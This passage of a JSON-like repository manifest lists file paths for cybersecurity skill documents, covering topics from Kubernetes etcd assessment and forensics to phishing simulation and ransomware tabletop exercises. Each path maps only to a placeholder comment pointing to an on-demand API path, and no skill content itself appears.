-->","skills/performing-kubernetes-etcd-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-kubernetes-etcd-security-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Freferences%2Fstandards.md -->","skills/performing-kubernetes-etcd-security-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-etcd-security-assessment%2Freferences%2Fworkflows.md -->","skills/performing-kubernetes-penetration-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2FSKILL.md -->","skills/performing-kubernetes-penetration-testing/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Fassets%2Ftemplate.md -->","skills/performing-kubernetes-penetration-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Freferences%2Fapi-reference.md -->","skills/performing-kubernetes-penetration-testing/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Freferences%2Fstandards.md -->","skills/performing-kubernetes-penetration-testing/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-kubernetes-penetration-testing%2Freferences%2Fworkflows.md -->","skills/performing-lateral-movement-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-detection%2FSKILL.md -->","skills/performing-lateral-movement-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-detection%2Freferences%2Fapi-reference.md -->","skills/performing-lateral-movement-with-wmiexec/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2FSKILL.md -->","skills/performing-lateral-movement-with-wmiexec/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Fassets%2Ftemplate.md -->","skills/performing-lateral-movement-with-wmiexec/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Freferences%2Fapi-reference.md -->","skills/performing-lateral-movement-with-wmiexec/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Freferences%2Fstandards.md -->","skills/performing-lateral-movement-with-wmiexec/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-lateral-movement-with-wmiexec%2Freferences%2Fworkflows.md -->","skills/performing-linux-log-forensics-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2FSKILL.md -->","skills/performing-linux-log-forensics-investigation/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Fassets%2Ftemplate.md -->","skills/performing-linux-log-forensics-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-linux-log-forensics-investigation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Freferences%2Fstandards.md -->","skills/performing-linux-log-forensics-investigation/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-linux-log-forensics-investigation%2Freferences%2Fworkflows.md -->","skills/performing-log-analysis-for-forensic-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-analysis-for-forensic-investigation%2FSKILL.md -->","skills/performing-log-analysis-for-forensic-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-analysis-for-forensic-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-log-source-onboarding-in-siem/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2FSKILL.md -->","skills/performing-log-source-onboarding-in-siem/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Fassets%2Ftemplate.md -->","skills/performing-log-source-onboarding-in-siem/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Freferences%2Fapi-reference.md -->","skills/performing-log-source-onboarding-in-siem/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Freferences%2Fstandards.md -->","skills/performing-log-source-onboarding-in-siem/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-log-source-onboarding-in-siem%2Freferences%2Fworkflows.md -->","skills/performing-malware-hash-enrichment-with-virustotal/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-hash-enrichment-with-virustotal%2FSKILL.md -->","skills/performing-malware-hash-enrichment-with-virustotal/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-hash-enrichment-with-virustotal%2Freferences%2Fapi-reference.md -->","skills/performing-malware-ioc-extraction/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2FSKILL.md -->","skills/performing-malware-ioc-extraction/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Fassets%2Ftemplate.md -->","skills/performing-malware-ioc-extraction/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Freferences%2Fapi-reference.md -->","skills/performing-malware-ioc-extraction/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Freferences%2Fstandards.md -->","skills/performing-malware-ioc-extraction/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-ioc-extraction%2Freferences%2Fworkflows.md -->","skills/performing-malware-persistence-investigation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-persistence-investigation%2FSKILL.md -->","skills/performing-malware-persistence-investigation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-persistence-investigation%2Freferences%2Fapi-reference.md -->","skills/performing-malware-triage-with-yara/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-triage-with-yara%2FSKILL.md -->","skills/performing-malware-triage-with-yara/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-malware-triage-with-yara%2Freferences%2Fapi-reference.md -->","skills/performing-memory-forensics-with-volatility3-plugins/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2FSKILL.md -->","skills/performing-memory-forensics-with-volatility3-plugins/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Fassets%2Ftemplate.md -->","skills/performing-memory-forensics-with-volatility3-plugins/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Freferences%2Fapi-reference.md -->","skills/performing-memory-forensics-with-volatility3-plugins/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Freferences%2Fstandards.md -->","skills/performing-memory-forensics-with-volatility3-plugins/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3-plugins%2Freferences%2Fworkflows.md -->","skills/performing-memory-forensics-with-volatility3/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3%2FSKILL.es.md -->","skills/performing-memory-forensics-with-volatility3/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3%2FSKILL.md -->","skills/performing-memory-forensics-with-volatility3/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-memory-forensics-with-volatility3%2Freferences%2Fapi-reference.md -->","skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2FSKILL.md -->","skills/performing-mobile-app-certificate-pinning-bypass/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Fassets%2Ftemplate.md -->","skills/performing-mobile-app-certificate-pinning-bypass/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Freferences%2Fapi-reference.md -->","skills/performing-mobile-app-certificate-pinning-bypass/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Freferences%2Fstandards.md -->","skills/performing-mobile-app-certificate-pinning-bypass/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-app-certificate-pinning-bypass%2Freferences%2Fworkflows.md -->","skills/performing-mobile-device-forensics-with-cellebrite/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-device-forensics-with-cellebrite%2FSKILL.md -->","skills/performing-mobile-device-forensics-with-cellebrite/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-mobile-device-forensics-with-cellebrite%2Freferences%2Fapi-reference.md -->","skills/performing-network-forensics-with-wireshark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-forensics-with-wireshark%2FSKILL.md -->","skills/performing-network-forensics-with-wireshark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-forensics-with-wireshark%2Freferences%2Fapi-reference.md -->","skills/performing-network-packet-capture-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2FSKILL.md -->","skills/performing-network-packet-capture-analysis/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Fassets%2Ftemplate.md -->","skills/performing-network-packet-capture-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-network-packet-capture-analysis/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Freferences%2Fstandards.md -->","skills/performing-network-packet-capture-analysis/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-packet-capture-analysis%2Freferences%2Fworkflows.md -->","skills/performing-network-traffic-analysis-with-tshark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-tshark%2FSKILL.md -->","skills/performing-network-traffic-analysis-with-tshark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-tshark%2Freferences%2Fapi-reference.md -->","skills/performing-network-traffic-analysis-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-zeek%2FSKILL.md -->","skills/performing-network-traffic-analysis-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-network-traffic-analysis-with-zeek%2Freferences%2Fapi-reference.md -->","skills/performing-nist-csf-maturity-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2FSKILL.md -->","skills/performing-nist-csf-maturity-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Fassets%2Ftemplate.md -->","skills/performing-nist-csf-maturity-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-nist-csf-maturity-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Freferences%2Fstandards.md -->","skills/performing-nist-csf-maturity-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-nist-csf-maturity-assessment%2Freferences%2Fworkflows.md -->","skills/performing-oauth-scope-minimization-review/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oauth-scope-minimization-review%2FSKILL.md -->","skills/performing-oauth-scope-minimization-review/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oauth-scope-minimization-review%2Freferences%2Fapi-reference.md -->","skills/performing-oil-gas-cybersecurity-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oil-gas-cybersecurity-assessment%2FSKILL.md -->","skills/performing-oil-gas-cybersecurity-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-oil-gas-cybersecurity-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-open-source-intelligence-gathering/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2FSKILL.md -->","skills/performing-open-source-intelligence-gathering/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Fassets%2Ftemplate.md -->","skills/performing-open-source-intelligence-gathering/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Freferences%2Fapi-reference.md -->","skills/performing-open-source-intelligence-gathering/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Freferences%2Fstandards.md -->","skills/performing-open-source-intelligence-gathering/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-open-source-intelligence-gathering%2Freferences%2Fworkflows.md -->","skills/performing-osint-with-spiderfoot/SKILL.es.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-osint-with-spiderfoot%2FSKILL.es.md -->","skills/performing-osint-with-spiderfoot/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-osint-with-spiderfoot%2FSKILL.md -->","skills/performing-osint-with-spiderfoot/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-osint-with-spiderfoot%2Freferences%2Fapi-reference.md -->","skills/performing-ot-network-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2FSKILL.md -->","skills/performing-ot-network-security-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Fassets%2Ftemplate.md -->","skills/performing-ot-network-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-ot-network-security-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Freferences%2Fstandards.md -->","skills/performing-ot-network-security-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-network-security-assessment%2Freferences%2Fworkflows.md -->","skills/performing-ot-vulnerability-assessment-with-claroty/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-assessment-with-claroty%2FSKILL.md -->","skills/performing-ot-vulnerability-assessment-with-claroty/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-assessment-with-claroty%2Freferences%2Fapi-reference.md -->","skills/performing-ot-vulnerability-scanning-safely/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-scanning-safely%2FSKILL.md -->","skills/performing-ot-vulnerability-scanning-safely/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ot-vulnerability-scanning-safely%2Freferences%2Fapi-reference.md -->","skills/performing-packet-injection-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-packet-injection-attack%2FSKILL.md -->","skills/performing-packet-injection-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-packet-injection-attack%2Freferences%2Fapi-reference.md -->","skills/performing-paste-site-monitoring-for-credentials/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-paste-site-monitoring-for-credentials%2FSKILL.md -->","skills/performing-paste-site-monitoring-for-credentials/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-paste-site-monitoring-for-credentials%2Freferences%2Fapi-reference.md -->","skills/performing-phishing-simulation-with-gophish/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2FSKILL.md -->","skills/performing-phishing-simulation-with-gophish/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Fassets%2Ftemplate.md -->","skills/performing-phishing-simulation-with-gophish/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Freferences%2Fapi-reference.md -->","skills/performing-phishing-simulation-with-gophish/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Freferences%2Fstandards.md -->","skills/performing-phishing-simulation-with-gophish/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-phishing-simulation-with-gophish%2Freferences%2Fworkflows.md -->","skills/performing-physical-intrusion-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2FSKILL.md -->","skills/performing-physical-intrusion-assessment/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Fassets%2Ftemplate.md -->","skills/performing-physical-intrusion-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-physical-intrusion-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Freferences%2Fstandards.md -->","skills/performing-physical-intrusion-assessment/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-physical-intrusion-assessment%2Freferences%2Fworkflows.md -->","skills/performing-plc-firmware-security-analysis/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-plc-firmware-security-analysis%2FSKILL.md -->","skills/performing-plc-firmware-security-analysis/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-plc-firmware-security-analysis%2Freferences%2Fapi-reference.md -->","skills/performing-post-quantum-cryptography-migration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-post-quantum-cryptography-migration%2FSKILL.md -->","skills/performing-post-quantum-cryptography-migration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-post-quantum-cryptography-migration%2Freferences%2Fapi-reference.md -->","skills/performing-power-grid-cybersecurity-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-power-grid-cybersecurity-assessment%2FSKILL.md -->","skills/performing-power-grid-cybersecurity-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-power-grid-cybersecurity-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-privacy-impact-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privacy-impact-assessment%2FSKILL.md -->","skills/performing-privacy-impact-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privacy-impact-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-privilege-escalation-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-assessment%2FSKILL.md -->","skills/performing-privilege-escalation-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-privilege-escalation-on-linux/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2FSKILL.md -->","skills/performing-privilege-escalation-on-linux/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2Freferences%2Fapi-reference.md -->","skills/performing-privilege-escalation-on-linux/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2Freferences%2Fstandards.md -->","skills/performing-privilege-escalation-on-linux/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privilege-escalation-on-linux%2Freferences%2Fworkflows.md -->","skills/performing-privileged-account-access-review/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2FSKILL.md -->","skills/performing-privileged-account-access-review/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Fassets%2Ftemplate.md -->","skills/performing-privileged-account-access-review/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Freferences%2Fapi-reference.md -->","skills/performing-privileged-account-access-review/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Freferences%2Fstandards.md -->","skills/performing-privileged-account-access-review/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-access-review%2Freferences%2Fworkflows.md -->","skills/performing-privileged-account-discovery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-discovery%2FSKILL.md -->","skills/performing-privileged-account-discovery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-privileged-account-discovery%2Freferences%2Fapi-reference.md -->","skills/performing-purple-team-atomic-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-atomic-testing%2FSKILL.md -->","skills/performing-purple-team-atomic-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-atomic-testing%2Freferences%2Fapi-reference.md -->","skills/performing-purple-team-exercise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-exercise%2FSKILL.md -->","skills/performing-purple-team-exercise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-purple-team-exercise%2Freferences%2Fapi-reference.md -->","skills/performing-ransomware-response/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-response%2FSKILL.md -->","skills/performing-ransomware-response/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-response%2Freferences%2Fapi-reference.md -->","skills/performing-ransomware-tabletop-exercise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2FSKILL.md -->","skills/performing-ransomware-tabletop-exercise/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Fassets%2Ftemplate.md -->","skills/performing-ransomware-tabletop-exercise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ransomware-tabletop-exercise%2Freferences%2Fapi-reference.md 